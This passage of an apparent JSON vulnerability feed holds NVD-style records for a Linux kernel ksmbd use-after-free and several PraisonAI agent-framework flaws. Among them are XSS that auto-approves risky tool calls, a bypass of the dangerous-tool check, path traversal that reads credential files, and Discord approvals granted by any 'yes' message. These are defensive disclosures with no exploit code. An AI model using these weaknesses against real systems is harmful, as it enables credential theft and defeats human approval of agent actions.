fits\ncheck.\n\nAlso advertise max_sched_scan_ie_len using iwl_mvm_max_scan_ie_len()\nso userspace limits account for driver-inserted DS/TPC bytes.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:22.717Z","updatedAt":"2026-10-26T07:17:14.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98889","asOf":"2026-10-26T07:17:14.010Z"},"epss":{"probability":0.00169,"percentile":0.06282,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98889","type":"primary","publishedAt":"2026-10-23T12:18:22.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98870","cveId":"CVE-2026-98870","aliases":[],"kind":"vulnerability","title":"Linux kernel: ksmbd: remove stale channels from all sessions on teardown","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: remove stale channels from all sessions on teardown\n\nksmbd_sessions_deregister() removes a connection's channels from other\nsessions' channel lists only while conn->binding is still set:\n\n\tif (conn->binding) {\n\t\thash_for_each_safe(sessions_table, ...)\n\t\t\tksmbd_chann_del(conn, sess);\n\t}\n\nconn->binding is a transient flag: it is cleared once a binding\nSESSION_SETUP completes, and also by a subsequent non-binding\nSESSION_SETUP on the same connection (a reauthentication on a bound\nchannel, or a new SessionId==0 setup). A connection that has bound a\nchannel into another session's ksmbd_chann_list and then clears\nconn->binding leaves that channel behind when it disconnects: the\nchannel, whose chann->conn points at the now freed struct ksmbd_conn,\nstays on the owner session's list.\n\nWhen the owning connection later tears down, the second loop\ndereferences the stale channel:\n\n\txa_for_each(&sess->ksmbd_chann_list, chann_id, chann)\n\t\tif (chann->conn != conn)\n\t\t\tksmbd_conn_set_exiting(chann->conn);   /* freed */\n\nwhich is a use-after-free write into the freed ksmbd_conn (the same\nstale channel is also walked by show_proc_session() through /proc). The\nsession is leaked as well, because its channel list never empties.\n\nRemove the conn->binding gate so a connection always removes its\nchannels from every session on teardown.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: remove stale channels from all sessions on teardown\n\nksmbd_sessions_deregister() removes a connection's channels from other\nsessions' channel lists only while conn->binding is still set:\n\n\tif (conn->binding) {\n\t\thash_for_each_safe(sessions_table, ...)\n\t\t\tksmbd_chann_del(conn, sess);\n\t}\n\nconn->binding is a transient flag: it is cleared once a binding\nSESSION_SETUP completes, and also by a subsequent non-binding\nSESSION_SETUP on the same connection (a reauthentication on a bound\nchannel, or a new SessionId==0 setup). A connection that has bound a\nchannel into another session's ksmbd_chann_list and then clears\nconn->binding leaves that channel behind when it disconnects: the\nchannel, whose chann->conn points at the now freed struct ksmbd_conn,\nstays on the owner session's list.\n\nWhen the owning connection later tears down, the second loop\ndereferences the stale channel:\n\n\txa_for_each(&sess->ksmbd_chann_list, chann_id, chann)\n\t\tif (chann->conn != conn)\n\t\t\tksmbd_conn_set_exiting(chann->conn);   /* freed */\n\nwhich is a use-after-free write into the freed ksmbd_conn (the same\nstale channel is also walked by show_proc_session() through /proc). The\nsession is leaked as well, because its channel list never empties.\n\nRemove the conn->binding gate so a connection always removes its\nchannels from every session on teardown.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:20.397Z","updatedAt":"2026-10-24T14:16:47.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98870","asOf":"2026-10-24T14:16:47.773Z"},"epss":{"probability":0.00544,"percentile":0.45397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98870","type":"primary","publishedAt":"2026-10-23T12:18:20.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56840","cveId":"CVE-2026-56840","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:15.510Z","updatedAt":"2026-10-23T12:18:15.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56840","asOf":"2026-10-23T12:18:15.627Z"},"epss":{"probability":0.00246,"percentile":0.15723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56840","type":"primary","publishedAt":"2026-10-23T12:18:15.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56838","cveId":"CVE-2026-56838","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.59, PraisonAI recipe execution blocks default-denied dangerous tools unless the caller explicitly passes allow_dangerous_tools=True. The normal recipe.run() path enforces this with _check_tool_policy(). The streaming path, recipe.run_stream(), loads the same recipe, checks dependencies, and then calls _execute_recipe() without running the dangerous-tool policy check. As a result, a recipe that honestly declares execute_command in TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the execution engine through recipe.run_stream() with allow_dangerous_tools=False. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.59, PraisonAI recipe execution blocks default-denied dangerous tools unless the caller explicitly passes allow_dangerous_tools=True. The normal recipe.run() path enforces this with _check_tool_policy(). The streaming path, recipe.run_stream(), loads the same recipe, checks dependencies, and then calls _execute_recipe() without running the dangerous-tool policy check. As a result, a recipe that honestly declares execute_command in TEMPLATE.yaml requires.tools is denied by recipe.run(), but reaches the execution engine through recipe.run_stream() with allow_dangerous_tools=False. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:15.357Z","updatedAt":"2026-10-23T12:18:15.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56838","asOf":"2026-10-23T12:18:15.473Z"},"epss":{"probability":0.00146,"percentile":0.03816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56838","type":"primary","publishedAt":"2026-10-23T12:18:15.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56837","cveId":"CVE-2026-56837","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.6.56 to before version 4.6.59, PraisonAI's LinearBot starts a public webhook listener on 0.0.0.0 and treats LINEAR_WEBHOOK_SECRET as optional. When the secret is absent, startup only logs a warning and _handle_webhook() skips Linear-Signature verification entirely. An unauthenticated network caller who can reach the webhook endpoint can submit a forged Linear-Event: AgentSession request. The forged request is parsed, scheduled for background processing, dispatched to _handle_agent_session(), and passed into BotSessionManager.chat(). The bot then attempts to post the agent response back to Linear under the configured bot token. The PoV is offline and deterministic. It does not contact Linear. It calls the webhook handler directly, monkey-patches the outbound Linear comment path, and proves both sides of the boundary. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.6.56 to before version 4.6.59, PraisonAI's LinearBot starts a public webhook listener on 0.0.0.0 and treats LINEAR_WEBHOOK_SECRET as optional. When the secret is absent, startup only logs a warning and _handle_webhook() skips Linear-Signature verification entirely. An unauthenticated network caller who can reach the webhook endpoint can submit a forged Linear-Event: AgentSession request. The forged request is parsed, scheduled for background processing, dispatched to _handle_agent_session(), and passed into BotSessionManager.chat(). The bot then attempts to post the agent response back to Linear under the configured bot token. The PoV is offline and deterministic. It does not contact Linear. It calls the webhook handler directly, monkey-patches the outbound Linear comment path, and proves both sides of the boundary. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:15.203Z","updatedAt":"2026-10-23T21:17:24.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56837","asOf":"2026-10-23T21:17:24.307Z"},"epss":{"probability":0.00188,"percentile":0.083,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56837","type":"primary","publishedAt":"2026-10-23T12:18:15.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56836","cveId":"CVE-2026-56836","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.112 to before version 4.6.59, PraisonAI's installed console entrypoint is Typer-first. In current releases, the recipe command is registered in the Typer app and praisonai recipe serve dispatches to the deprecated Typer command in src/praisonai/praisonai/cli/commands/recipe.py. That Typer command can start the Recipe HTTP server on a non-localhost interface with no authentication. It prints a deprecation warning, and then launches the server. Because config.auth is absent, create_app() does not attach the API-key or JWT middleware. Unauthenticated requests can then reach the recipe API and, when enabled, /admin/reload. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.112 to before version 4.6.59, PraisonAI's installed console entrypoint is Typer-first. In current releases, the recipe command is registered in the Typer app and praisonai recipe serve dispatches to the deprecated Typer command in src/praisonai/praisonai/cli/commands/recipe.py. That Typer command can start the Recipe HTTP server on a non-localhost interface with no authentication. It prints a deprecation warning, and then launches the server. Because config.auth is absent, create_app() does not attach the API-key or JWT middleware. Unauthenticated requests can then reach the recipe API and, when enabled, /admin/reload. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:15.050Z","updatedAt":"2026-10-23T12:18:15.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56836","asOf":"2026-10-23T12:18:15.170Z"},"epss":{"probability":0.00227,"percentile":0.13333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56836","type":"primary","publishedAt":"2026-10-23T12:18:15.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56835","cveId":"CVE-2026-56835","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 3.11.0 to before version 4.6.59, PraisonAI's Slack bot applies its configured allowed_users, allowed_channels, and unknown-user pairing policy in the normal Slack message event handler, but not in the adjacent Slack app_mention event handler. A Slack workspace user who can mention the bot in a channel where the Slack app is present can trigger the configured PraisonAI agent even when: the sender is not in BotConfig.allowed_users; the channel is not in BotConfig.allowed_channels; unknown_user_policy=\"deny\" is configured; and the same event content is correctly dropped by the normal message handler. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 3.11.0 to before version 4.6.59, PraisonAI's Slack bot applies its configured allowed_users, allowed_channels, and unknown-user pairing policy in the normal Slack message event handler, but not in the adjacent Slack app_mention event handler. A Slack workspace user who can mention the bot in a channel where the Slack app is present can trigger the configured PraisonAI agent even when: the sender is not in BotConfig.allowed_users; the channel is not in BotConfig.allowed_channels; unknown_user_policy=\"deny\" is configured; and the same event content is correctly dropped by the normal message handler. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:14.897Z","updatedAt":"2026-10-23T12:18:15.013Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56835","asOf":"2026-10-23T12:18:15.013Z"},"epss":{"probability":0.00215,"percentile":0.11789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56835&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56835","type":"primary","publishedAt":"2026-10-23T12:18:14.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56835&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56835, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56834","cveId":"CVE-2026-56834","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context Discovery feature exposes artifact helper tools through ctx.get_tools(). The implemented artifact tools do not enforce that the supplied artifact_path is an artifact created by the configured store or that it lives under the configured artifact base directory. Instead, artifact_head, artifact_tail, artifact_grep, and artifact_chunk wrap the caller-supplied path directly into an ArtifactRef and then read it from the host filesystem. As a result, any prompt/user/tool-caller that can influence those tool arguments can read files readable by the PraisonAI process, such as project .env files, cloud credentials, SSH keys, source files, or other local data. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context Discovery feature exposes artifact helper tools through ctx.get_tools(). The implemented artifact tools do not enforce that the supplied artifact_path is an artifact created by the configured store or that it lives under the configured artifact base directory. Instead, artifact_head, artifact_tail, artifact_grep, and artifact_chunk wrap the caller-supplied path directly into an ArtifactRef and then read it from the host filesystem. As a result, any prompt/user/tool-caller that can influence those tool arguments can read files readable by the PraisonAI process, such as project .env files, cloud credentials, SSH keys, source files, or other local data. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:14.750Z","updatedAt":"2026-10-23T12:18:14.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56834","asOf":"2026-10-23T12:18:14.867Z"},"epss":{"probability":0.00373,"percentile":0.3095,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56834","type":"primary","publishedAt":"2026-10-23T12:18:14.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56833","cveId":"CVE-2026-56833","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context module provides filesystem-backed history and terminal-log storage. The module also exports agent-callable tool factories. Those tools accept run_id and agent_id arguments from the tool caller. The underlying stores join those values into filesystem paths without rejecting absolute paths or .. traversal. Because run_id can be an absolute path and agent_id can contain traversal, a lower-trust prompt/user that can call these tools can read .jsonl and .log files outside the configured Dynamic Context base directory. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context module provides filesystem-backed history and terminal-log storage. The module also exports agent-callable tool factories. Those tools accept run_id and agent_id arguments from the tool caller. The underlying stores join those values into filesystem paths without rejecting absolute paths or .. traversal. Because run_id can be an absolute path and agent_id can contain traversal, a lower-trust prompt/user that can call these tools can read .jsonl and .log files outside the configured Dynamic Context base directory. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:14.600Z","updatedAt":"2026-10-23T21:17:24.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56833","asOf":"2026-10-23T21:17:24.210Z"},"epss":{"probability":0.0046,"percentile":0.39625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56833","type":"primary","publishedAt":"2026-10-23T12:18:14.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56832","cveId":"CVE-2026-56832","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.DiscordApproval approves a pending dangerous tool call when it sees any later non-bot message in the configured Discord channel whose text is classified as approval, such as yes. As a result, any user who can post in the configured approval channel can approve a pending high-risk tool call by sending yes after the approval message appears. the same PoV also shows that the Slack and Telegram messaging approval backends have no explicit approver allowlist parameter, but the primary report-grade issue is the Discord backend's unthreaded channel cross-talk: the approving message does not need to be a reply or otherwise request-bound. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.2 to before version 4.6.59, praisonai.bots.DiscordApproval approves a pending dangerous tool call when it sees any later non-bot message in the configured Discord channel whose text is classified as approval, such as yes. As a result, any user who can post in the configured approval channel can approve a pending high-risk tool call by sending yes after the approval message appears. the same PoV also shows that the Slack and Telegram messaging approval backends have no explicit approver allowlist parameter, but the primary report-grade issue is the Discord backend's unthreaded channel cross-talk: the approving message does not need to be a reply or otherwise request-bound. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 